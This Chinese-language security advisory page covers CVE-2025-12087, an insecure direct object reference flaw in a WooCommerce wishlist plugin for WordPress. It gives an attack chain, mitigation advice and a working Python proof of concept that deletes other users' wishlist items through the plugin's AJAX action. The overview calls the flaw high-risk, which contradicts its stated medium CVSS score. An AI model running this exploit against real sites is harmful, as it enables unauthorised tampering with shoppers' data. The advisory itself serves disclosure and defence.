IPBUF安全漏洞报告
English
CVE-2025-12087 CVSS 4.3 中危

CVE-2025-12087 WordPress WooCommerce愿望清单插件IDOR漏洞

披露日期: 2025-11-12

漏洞信息

漏洞编号
CVE-2025-12087
漏洞类型
IDOR (不安全的直接对象引用)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Wishlist and Save for later for WooCommerce WordPress插件

相关标签

CVE-2025-12087IDORWordPress插件漏洞WooCommerce不安全的直接对象引用权限绕过数据完整性AJAX安全电子商务安全

漏洞概述

CVE-2025-12087是WordPress平台WooCommerce愿望清单插件中的一个高危安全漏洞。该插件专门用于为WooCommerce商店提供愿望清单和稍后保存功能。在1.1.22及之前的所有版本中,由于'awwlm_remove_added_wishlist_page' AJAX动作缺少对用户控制键的正确验证,存在不安全的直接对象引用(IDOR)问题。攻击者可以通过利用此漏洞,在仅需订阅者级别权限的情况下,删除网站任意用户的愿望清单项目。此漏洞虽然CVSS评分仅为4.3(中危级别),但可能导致用户隐私数据泄露和业务数据完整性破坏。由于该插件被广泛应用于电子商务网站,漏洞影响范围可能涉及大量在线商店的用户数据和购物体验。

技术细节

该漏洞源于WordPress AJAX处理程序中的IDOR缺陷。具体来说,插件的'awwlm_remove_added_wishlist_page' AJAX动作直接使用攻击者提供的请求参数作为数据库操作的标识符,而未进行所有权验证或权限检查。当用户发起删除愿望清单项目的请求时,服务器端代码使用请求中传递的项目ID直接执行删除操作,而没有验证该ID是否属于当前认证用户。攻击者只需构造恶意请求,将目标用户愿望清单中的项目ID作为参数传递,即可实现跨用户的数据删除操作。这种直接对象引用模式违反了安全设计原则,因为攻击者可以通过枚举或猜测其他用户的数据标识符来访问或操作非授权资源。修复方案需要在执行删除操作前增加用户身份和所有权验证逻辑。

攻击链分析

STEP 1
步骤1
攻击者注册并获取WordPress站点订阅者级别账户
STEP 2
步骤2
攻击者获取合法的AJAX请求nonce值
STEP 3
步骤3
攻击者通过枚举或信息泄露获取目标用户愿望清单项目ID
STEP 4
步骤4
攻击者构造恶意AJAX请求,将目标用户项目ID作为参数传递
STEP 5
步骤5
服务器端插件未验证所有权,直接执行删除操作
STEP 6
步骤6
目标用户的愿望清单项目被成功删除,导致数据完整性破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12087 PoC - IDOR in Wishlist and Save for later for WooCommerce plugin # Target: WordPress site with vulnerable WooCommerce wishlist plugin <= 1.1.22 def exploit_idor(target_url, wp_admin_user, wp_admin_pass, victim_wishlist_item_id): """ Exploits CVE-2025-12087 by removing items from other users' wishlists Args: target_url: Target WordPress site URL wp_admin_user: WordPress subscriber+ account username wp_admin_pass: Account password victim_wishlist_item_id: ID of wishlist item to delete from victim account """ session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_admin_user, 'pwd': wp_admin_pass, 'wp-submit': 'Log In', 'redirect_to': target_url } session.post(login_url, data=login_data) # Step 2: Get WordPress nonce for AJAX requests nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=awwlm_get_nonce" response = session.get(nonce_url) # Step 3: Exploit IDOR - Delete victim user's wishlist item ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'awwlm_remove_added_wishlist_page', 'wishlist_id': victim_wishlist_item_id, # Attacker-controlled, no ownership validation 'security': response.text.strip() } result = session.post(ajax_url, data=exploit_data) if result.status_code == 200 and 'removed' in result.text.lower(): print(f"[+] Successfully deleted wishlist item {victim_wishlist_item_id}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve_2025_12087_poc.py <url> <user> <pass> <item_id>") sys.exit(1) exploit_idor(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

影响范围

Wishlist and Save for later for WooCommerce插件 <= 1.1.22

防御指南

临时缓解措施
由于该漏洞需要认证才能利用,短期内可以通过限制新用户注册功能来减少攻击面。同时建议加强WordPress用户权限管理,确保订阅者角色不具备敏感操作权限。联系插件开发者获取安全更新补丁,并在更新前密切监控网站日志中的异常AJAX请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表